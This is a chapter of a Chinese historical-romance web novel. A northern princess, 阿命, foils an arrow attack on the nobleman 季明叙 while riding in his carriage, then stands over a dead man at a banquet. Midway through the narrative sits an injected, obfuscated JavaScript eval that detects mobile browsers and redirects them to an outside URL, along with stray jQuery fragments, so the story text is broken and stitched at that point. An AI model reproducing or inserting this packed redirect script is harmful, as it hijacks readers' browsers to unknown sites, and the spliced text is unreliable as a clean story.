2. 仲夏苦夜短

作品:《大雪满弓刀

    第二日,出发时不过晌午。


    马声嘶鸣,一辆宽大豪华的黑檀木马车自街上横冲直撞,不消片刻就停在三人面前。


    行人如山海,见着这马车却都纷纷退让,留出一大片空地来。


    “三公主。”


    男人懒洋洋地掀开车窗的帘子,狭长的眼尾对女子身后的两个大汉轻瞥而过,随即看向阿命。


    阿命背着双手,没忘记昨日和季明叙的约定。


    她径直问:“怎么走?”


    寂安有眼色地下车,对着女子恭敬道:“三公主,您请上车,明月阁的地界儿远,步行怕是有些慢。”


    七月份京城的天气闷热如烤炉,伊奇抹了把面上的汗,接过哈童递来的扇子。


    伊奇和哈童想看看南魏京城的世风,遂自请步行前去,顺便将京城构造摸透。


    阿命吩咐:“你俩拿着我请帖,自去便是。”


    两人抱拳道:“是。”


    随后在季明叙的注视下摇摇摆摆上了大街。


    兴许是昨日受她刺激,男人今日竟穿了身素净到极点的墨色,衣料上绣着竹节暗纹,粉白色的手指掀开帘子,说不出的矜贵。


    他的手骨节分明,虎口处镶着薄茧。


    阿命一眼看过去,就知道这人没吃过苦,顶多,或许,也只是简单练过几天武罢了。


    季明叙将她的观察不动声色收入眼底。


    寂安适时恭敬道:“公主,请移步。”


    阿命从容上车,便闻见一阵松竹清香味,仿若一片森野寂静无声地展于眼前。


    草原广袤,森林树木通常聚居于某一片临近水源的好地方,但它们苍凉冷冽,蕴含着无尽的危机,最擅于无声中食人血肉,吞人白骨。


    车厢宽大,阿命掀起衣袍下摆,坐在男人身旁。


    他长手长脚,后背靠着车厢,毫不客气地瘫在主位上,此时正拿黑葡萄似的眼睛去打量阿命。


    草原来的女子很明显和南魏的小姐们不同。


    他想着,若这是他对门住着的那几个表妹,和男子单独坐于一车,只怕早就羞得躲到角落里去了。


    唔,还有这双手。


    她拳头上的老茧,似乎能打死三头牛。


    寂安的声音打断他的思绪:“公子,出发吗?”


    “不出发等着喝西北风啊。”


    男人冷声道。


    寂安一噎,想不通自己又哪里惹着这个娇贵主儿了。


    马车缓缓发动。


    阿命好脾气,听见马车外那微弱的声音,手指摩挲在膝头,淡淡询问:“我能掀开窗帘吗?”


    季明叙和她那双棕褐色的眸子对视,只停顿片刻,面上就绽放出和煦的笑容:“公主说什么都可以。”


    “哦,那你可当心着点儿,”


    她缓缓摸上帘子的一角。


    季明叙挑挑眉,不太明白这是何意。


    话音刚落,寂安惊恐的声音传来:“世子小心!”


    马车外刺客飞檐走壁。


    只见一道箭矢在女子掀起车帘的瞬间凭空出现。


    女人眸中闪过狠辣,骤然将那帘子扯下。


    兴许是早就察觉到那弓箭的动静,阿命青色的身形快如残影,她一把扑倒季明叙,后者一个趔趄,差点从座位上滚落,好在适时抱住了她的腰。


    两幅身形相契合的瞬间,血腥和冷香味交杂着闯入男人的鼻息,他来不及反应,唇已是触上了阿命的左耳。


    季明叙看着厢壁上镶嵌的那枚冷箭,目标是自己。又看了看趴在自己身上的女子,缓缓松了扣紧她腰肢的大掌。


    一场虚惊。


    不等他出声,阿命拎着那枚冷箭从他身上翻下,掀开车帘在人群中锁定了一个方向。


    “让你的人去那边儿看看。”


    她仿佛无事发生,面色如常,一撩衣袍坐在原先的位置。


    季明叙目光掠过她左耳,挑眉:“三公主好身手。”


    阿命闭目养神道:“你还真是招人恨,出门上街都有人刺杀。”


    季明叙嗤笑一声:“三公主又何尝不是,就是不知此次和亲,你要嫁给谁了。”


    一个是南魏皇帝的看门狗,一个是北元的弃子,两人谁也没比谁好到哪儿去。


    女人并未吭声,凉薄的眼看得季明叙心惊。


    季明叙眸子闪了闪,大掌摩挲着腰间的一处布料,方才是她用膝盖抵过的地方。


    .


    未时中,日头愈发火辣。


    明月阁处于朱雀大街的中心,楼高九层,楼身达四十九丈,楼峰可从京城任意一处进行观瞻,是达官贵人望景佳址之一。


    黑檀木马车上挂着红绳铃铛。


    一阵清风吹过,铃铛轻响,明月阁前众人寻声看去,马车上正走下一位青衣女子。


    女子气势如利剑藏锋,双眸碎玉,气息冷冽,如黑夜中疯长的寂松。


    众人心思各异,猜想着这是哪家的权贵,怎的此前从未见过。


    女人浓密的长发异于南魏的流行发髻,全都编成或细碎或整齐的辫子,有的别于脑后,有的随意放在胸前。


    她青色的袍子随风摆动,一只手正让季明叙扶着下了马车。


    “渊实——”


    焦灼的气氛被一声清朗打破,韩文宇也不管周遭视线,小跑着到了阿命和季明叙跟前,笑着作揖。


    “三公主自北元远道而来,小生这厢有礼了。”


    阿命随意“嗯”了一句。


    人群中传来窃窃私语声。


    “这是那个和亲的公主?”


    “看这模样,不像和亲,像是来杀人的。”


    “早就听说北元民风剽悍,却没想到,这公主也......”


    阿命耳力极佳,一只还未进入视野范围内的冷箭都能被她察觉,更何况这些明目张胆的私语声。


    她收回扣在季明叙掌心里的手,后者却用力攥了一下,没松。


    “干什么?”


    她瞥了眼两人交握的手。


    韩文宇适时捧场,“这可不多见,咱们游在百花丛,片叶不沾身的季大公子,这是开了窍了?”


    季明叙冷冷瞪他一眼:“不会说话就滚。”


    韩文宇“啧啧啧”几声,摇头晃脑,负手叹气道:“唉,儿大不中留啊。”


    阿命眸光掠在韩文宇面上,逼得后者霎时收声。


    韩文宇识相地闭嘴,待她身影远去,忍不住嘀咕道:“她看我那个眼神,就跟看尸体一样。”


    季明叙倚在马车上,一打摇扇,嗤笑:“甭说你,昨日那礼部尚书家的二公子都差点被她用箭射死。”


    韩文宇咂咂嘴,下意识摸了摸自己的后脖颈。


    明月阁楼前人群散开,达官小姐们目光追随着阿命的方向,纷纷跟了上去。


    韩文宇确定无人观察这边,直接对季明叙道:“听说你昨日还和她有口角,怎的今天就缠在一块儿了?”


    醉春楼前那一句“懦夫”,竟然没让季明叙跳脚。


    男人靠着马车,闻言掀起眼皮子道:“你也知道是谁让我看着她。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14384643|153269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    先挑起争端,再借机示好,无疑是与一个陌生人建立关系的最快方法。


    皇帝怕是也没想到,他行事如此粗暴。


    “啧,还以为你真的对她有兴趣,”韩文宇看好戏道,“那她呢,会不会迷失在你的美貌中?”


    季明叙眸光一冷,转移话题:“你爹什么情况,把你安排到柳州去当一个九品芝麻官?”


    韩文宇面色瞬间如吃了苦瓜:“别提了,我xx做梦都没想到,唉,不说了不说了,越说我越难受。”


    两人肩并肩进了明月阁。


    .


    明月阁分九层,庆愿长公主一掷千金,包下了一到三层。


    明月阁的楼层中间是镂空的,是以上下楼的宾客可以互相回音。


    舞.姬们会踩着自楼层顶部放下的天梯翩翩起舞,如同飞天神女一般,场面奢华,宛如世外之境。


    “这是李大人吧,听闻您今年刚刚升迁,在下是礼部的......”


    “王夫人——好久不见了,哎呀,对对对,这是我那个不成器的儿子,”


    “......”


    刚入明月阁,香粉味扑面而来,一楼大殿中央琴师和乐手已经吹奏靡.靡之音,炎热的夏日里,这楼内却像是冰窖一样,极其舒适。


    阿命正欲负手上楼,却被人叫住。


    “三公主——”


    一群华衣锦服的小姐们拎着帕子,扶着头顶的步摇,转瞬就将她围住。


    她们看起来很喜欢阿命。


    韩文宇站在不远处,见状诧异道:“你家这位公主倒真是受人欢迎。”


    本以为她一个异族人,会不太合群。


    季明叙没有说话,面色淡淡,只低头把玩着腰间的玉佩。


    三楼。


    庆愿倚在栏杆旁,问道:“哪个是阿命?”


    李掌教指给她,说道:“那个青色衣服的,穿着打扮应是北元的服饰。”


    庆愿眯起眸子,她年纪大了,视力不如年轻时,但也能看见鹤立鸡群的那道青衣,肤色较之南魏女子略显麦黄,但再细致的,就看不清了。


    “老了,看个人还这么费劲。”


    她转身,被李掌教扶着走向雅间。


    李掌教宽慰:“您是南魏的半边天,不会老的。”


    庆愿抚了抚头上的三两白丝,感叹道:“这半边天可不是好做的。”


    此时忽地爆发一阵惊呼声。


    贵人们刺耳的尖叫传到三楼,庆愿面色一变,李掌教返身回去查看,冷声道:“死人了。”


    一楼。


    变故只在一瞬间。


    阿命接过伊奇递来的帕子,擦了擦手上的血迹。


    众人看着她脚下的那滩血泊。


    血泊里躺着个尚未瞑目的尸体,方才还在挣扎,现下已经了无生息。


    本欲与阿命攀谈的众贵女面色惨白,有胆小的直接靠在仆从身上,用惊恐的眼神看向阿命。


    季明叙看热闹的声音打破人群的死寂。


    “三公主,这人死的不明不白,你可得给个交代啊。”


    人群给他让出一条路。


    男人放下抱着的双臂,唇角浮现一丝狐狸般的微笑。


    阿命心想,来了。


    老皇帝的考验,似乎要比想象中的简单一些。


    她凉薄的眸子穿过人海,唇角挂着假笑:“死的不明白么?”


    女人的笑太过平静,棕褐色的眸子宛如一片深渊。


    季明叙心中生出一股不好的预感。